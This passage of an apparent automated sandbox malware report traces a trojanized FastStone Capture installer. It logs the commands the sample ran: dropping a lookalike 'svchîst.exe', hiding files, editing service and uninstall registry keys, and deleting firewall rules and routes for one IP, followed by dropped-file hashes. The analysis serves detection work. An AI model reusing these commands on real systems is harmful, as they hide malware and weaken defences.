c73686f775f69645f6e6f74696669636174696f6e3e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e3e3c73686f775f69645f6e6f74696669636174696f6e5f726571756573743e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e5f726571756573743e3c696e746567726174655f6669726577616c6c5f61745f737461727475703e747275653c2f696e746567726174655f6669726577616c6c5f61745f737461727475703e3c2f67656e6572616c5f73657474696e67733e0d0a /f
                        5⤵
                        • Modifies registry class
                        PID:5096
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.37920.2020" /f
                      4⤵
                        PID:3904
                        • C:\Windows\SysWOW64\reg.exe
                          reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.37920.2020" /f
                          5⤵
                            PID:4348
                      • C:\Windows\SysWOW64\PING.EXE
                        ping 127.0.0.1
                        3⤵
                        • Runs ping.exe
                        PID:4440
                      • C:\Windows\SysWOW64\drivers\svchîst.exe
                        "C:\Windows\System32\drivers\svchîst.exe" /silentinstall
                        3⤵
                        • Executes dropped EXE
                        • Checks computer location settings
                        • Loads dropped DLL
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        PID:1756
                      • C:\Windows\SysWOW64\drivers\svchîst.exe
                        "C:\Windows\System32\drivers\svchîst.exe" /firewall
                        3⤵
                        • Executes dropped EXE
                        • Checks computer location settings
                        • Loads dropped DLL
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:4584
                      • C:\Windows\SysWOW64\drivers\svchîst.exe
                        "C:\Windows\System32\drivers\svchîst.exe" /start
                        3⤵
                        • Executes dropped EXE
                        • Checks computer location settings
                        • Loads dropped DLL
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        PID:1120
                      • C:\Windows\SysWOW64\attrib.exe
                        attrib +h +s "C:\Windows\System32\idfgvgjnghcdfb.reg"
                        3⤵
                        • Drops file in System32 directory
                        • Views/modifies file attributes
                        PID:2252
                      • C:\Windows\SysWOW64\attrib.exe
                        attrib +h +s "svchîst.exe"
                        3⤵
                        • Drops file in Drivers directory
                        • Views/modifies file attributes
                        PID:1940
                      • C:\Windows\SysWOW64\attrib.exe
                        attrib -h -s "install.exe"
                        3⤵
                        • Drops file in Drivers directory
                        • Views/modifies file attributes
                        PID:3768
                      • C:\Windows\SysWOW64\attrib.exe
                        attrib -h -s "install.cmd"
                        3⤵
                        • Views/modifies file attributes
                        PID:3900
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\DNS-Service\Parameters\AppExit" /t REG_SZ /d "Restart" /f& REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\DNS-Service" /v FailureActions /t REG_BINARY /d 0000000000000000000000000300000057005300010000000000000001000000000000000100000000000000 /f& Exit
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4916
                      • C:\Windows\SysWOW64\reg.exe
                        REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\DNS-Service\Parameters\AppExit" /t REG_SZ /d "Restart" /f
                        3⤵
                          PID:4220
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\DNS-Service" /v FailureActions /t REG_BINARY /d 0000000000000000000000000300000057005300010000000000000001000000000000000100000000000000 /f
                          3⤵
                            PID:2588
                        • C:\Users\Admin\AppData\Local\Temp\FastStone Capture\9.4\setup.exe
                          "C:\Users\Admin\AppData\Local\Temp\FastStone Capture\9.4\setup.exe" /S /IR
                          2⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:2292
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh.exe advfirewall firewall delete rule name="all" remoteip=95.141.193.133
                            3⤵
                              PID:5004
                            • C:\Windows\SysWOW64\route.exe
                              route.exe delete 95.141.193.133
                              3⤵
                                PID:624
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c "C:\Program Files (x86)\FastStone Capture\FSCapture.exe"
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:5092
                              • C:\Program Files (x86)\FastStone Capture\FSCapture.exe
                                "C:\Program Files (x86)\FastStone Capture\FSCapture.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                • Suspicious use of SetWindowsHookEx
                                PID:3588
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c "C:\Program Files\FastStone Capture\FSCapture.exe"
                              2⤵
                                PID:4780
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c attrib -h -s -r "C:\Users\Admin\AppData\Local\Temp\FastStone Capture\9.4\*.*"
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1240
                                • C:\Windows\SysWOW64\attrib.exe
                                  attrib -h -s -r "C:\Users\Admin\AppData\Local\Temp\FastStone Capture\9.4\*.*"
                                  3⤵
                                  • Views/modifies file attributes
                                  PID:3924
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c RMDIR /s/q "C:\Users\Admin\AppData\Local\Temp\FastStone Capture"
                                2⤵
                                  PID:1152
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\FastStone Capture 9.4" /f
                                  2⤵
                                    PID:1860
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\FastStone Capture 9.4" /f
                                      3⤵
                                        PID:452
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 19.0.9700.2132" /f
                                      2⤵
                                        PID:4276
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 19.0.9700.2132" /f
                                          3⤵
                                            PID:2516
                                      • C:\Windows\SysWOW64\drivers\svchîst.exe
                                        "C:\Windows\SysWOW64\drivers\svchîst.exe"
                                        1⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Modifies registry class
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of SetWindowsHookEx
                                        PID:1600
                                        • C:\Windows\SysWOW64\drivers\svchîst.exe
                                          C:\Windows\SysWOW64\drivers\svchîst.exe -firewall
                                          2⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1612

                                      Network

                                            MITRE ATT&CK Enterprise v6

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            FSCapture.ENU
                                            • Path C:\Program Files (x86)\FastStone Capture\FSCapture.ENU
                                            • Size 1.4MB
                                            • SHA256 9942d2e76602e3c3ffd2f2a6a124d2f768a361e46ba28f407604e77742ebc9dd
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            FSCapture.exe
                                            • Path C:\Program Files (x86)\FastStone Capture\FSCapture.exe
                                            • Size 6.0MB
                                            • SHA256 d6640edb56e4052c3f2de0f396c7b71fe0b478419ae54de7bfcfb72198bf8929
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            FSCapture.exe
                                            • Path C:\Program Files (x86)\FastStone Capture\FSCapture.exe
                                            • Size 6.0MB
                                            • SHA256 d6640edb56e4052c3f2de0f396c7b71fe0b478419ae54de7bfcfb72198bf8929
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            2.tmp
                                            • Path C:\Users\Admin\AppData\Local\Temp\$inst\2.tmp
                                            • Size 36B
                                            • SHA256 a32e0a83001d2c5d41649063217923dac167809cab50ec5784078e41c9ec0f0f
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            2.tmp
                                            • Path C:\Users\Admin\AppData\Local\Temp\$inst\2.tmp
                                            • Size 36B
                                            • SHA256 a32e0a83001d2c5d41649063217923dac167809cab50ec5784078e41c9ec0f0f
                                            • MD5 SHA1 SHA512
                                            Submit Download

                                            setup.exe
                                            • Path C:\Users\Admin\AppData\Local\Temp\FastStone Capture\9.4\setup.exe
                                            • Size 3.7MB
                                            • SHA256 b7bbc834fe7217105cc2064026235abff19d502f1a88a4b0ee7a4d345fa23f9b
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            setup.exe
                                            • Path C:\Users\Admin\AppData\Local\Temp\FastStone Capture\9.4\setup.exe
                                            • Size 3.7MB
                                            • SHA256 b7bbc834fe7217105cc2064026235abff19d502f1a88a4b0ee7a4d345fa23f9b
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            System.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\System.dll
                                            • Size 12KB
                                            • SHA256 6950991102462d84fdc0e3b0ae30c95af8c192f77ce3d78e8d54e6b22f7c09ba
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            nsExec.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\nsExec.dll
                                            • Size 7KB
                                            • SHA256 1f18f4126124b0551f3dbcd0fec7f34026f930ca509f04435657cedc32ae8c47
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            nsExec.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\nsExec.dll
                                            • Size 7KB
                                            • SHA256 1f18f4126124b0551f3dbcd0fec7f34026f930ca509f04435657cedc32ae8c47
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            nsProcess.dll
                                            • Path C:\Users\Admin\AppData\Local\Temp\nsz1F61.tmp\nsProcess.dll
                                            • Size 4KB
                                            • SHA256 30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            fsc.db
                                            • Path C:\Users\Admin\AppData\Roaming\FastStone\FSC\fsc.db
                                            • Size 5KB
                                            • SHA256 9ebc76ead646faf16af6605a7d7a8a5c5a3ccf9b9e2ca6628381a5da2b26a87e
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            install.exe
                                            • Path C:\Windows\SysWOW64\drivers\install.exe
                                            • Size 207KB
                                            • SHA256 2867d9d82ad10a29d36b2bee57993db95246b8fc90824d03d04f6e91b2eb34e8
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            install.exe
                                            • Path C:\Windows\SysWOW64\drivers\install.exe
                                            • Size 207KB
                                            • SHA256 2867d9d82ad10a29d36b2bee57993db95246b8fc90824d03d04f6e91b2eb34e8
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            libeay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\libeay32.dll
                                            • Size 1.3MB
                                            • SHA256 a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            libeay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\libeay32.dll
                                            • Size 1.3MB
                                            • SHA256 a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            libeay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\libeay32.dll
                                            • Size 1.3MB
                                            • SHA256 a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            libeay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\libeay32.dll
                                            • Size 1.3MB
                                            • SHA256 a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            libeay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\libeay32.dll
                                            • Size 1.3MB
                                            • SHA256 a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            libeay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\libeay32.dll
                                            • Size 1.3MB
                                            • SHA256 a8124500cae0aba3411428c2c6df2762ea11cc11c312abed415d3f3667eb6884
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            ssleay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\ssleay32.dll
                                            • Size 337KB
                                            • SHA256 1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            ssleay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\ssleay32.dll
                                            • Size 337KB
                                            • SHA256 1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            ssleay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\ssleay32.dll
                                            • Size 337KB
                                            • SHA256 1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            ssleay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\ssleay32.dll
                                            • Size 337KB
                                            • SHA256 1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            ssleay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\ssleay32.dll
                                            • Size 337KB
                                            • SHA256 1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            ssleay32.dll
                                            • Path C:\Windows\SysWOW64\drivers\ssleay32.dll
                                            • Size 337KB
                                            • SHA256 1f4b3efc919af1106f348662ee9ad95ab019058ff502e3d68e1b5f7abff91b56
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            svchîst.exe
                                            • Path C:\Windows\SysWOW64\drivers\svchîst.exe
                                            • Size 11.1MB
                                            • SHA256 4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            svchîst.exe
                                            • Path C:\Windows\SysWOW64\drivers\svchîst.exe
                                            • Size 11.1MB
                                            • SHA256 4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            svchîst.exe
                                            • Path C:\Windows\SysWOW64\drivers\svchîst.exe
                                            • Size 11.1MB
                                            • SHA256 4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            svchîst.exe
                                            • Path C:\Windows\SysWOW64\drivers\svchîst.exe
                                            • Size 11.1MB
                                            • SHA256 4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            svchîst.exe
                                            • Path C:\Windows\SysWOW64\drivers\svchîst.exe
                                            • Size 11.1MB
                                            • SHA256 4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            svchîst.exe
                                            • Path C:\Windows\SysWOW64\drivers\svchîst.exe
                                            • Size 11.1MB
                                            • SHA256 4070e977823d74478aec248862302063918fda16b57f2c3b561018605bfbf4fe
                                            • MD5 SHA1 SHA512 SSDEEP
                                            Submit Download

                                            idfgvgjnghcdfb.reg
                                            • Path C:\Windows\SysWOW64\idfgvgjnghcdfb.reg
                                            • Size 38B
                                            • SHA256 b114302cfede0f574362385c4949dde34c544b5213a239908299588f00b0bd80
                                            • MD5 SHA1 SHA512
                                            Submit Download